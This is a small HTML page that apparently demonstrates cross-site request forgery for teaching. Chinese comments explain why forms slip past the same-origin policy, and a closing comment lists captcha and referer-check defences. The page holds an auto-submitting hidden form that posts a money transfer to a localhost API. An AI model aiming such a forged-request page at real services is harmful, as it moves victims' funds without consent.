<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <!-- 第三方网站 其实拿不到用户cookie 当往3000端口提交内容自动会提供cookie -->
    <!-- 表单没有跨域问题  同源策略都是ajax -->
    <form name="myform" action="http://localhost:8000/api/transfer" method="post">
        <input type="text" name="target" value="jw">
        <input type="text" name="money" id="100">
    </form>
    <script>
        document.myform.submit()
    </script>
    <!-- 
        1.添加验证码
        2.判断来源
        3.生成验证码  svg-captcha
    -->
</body>
</html>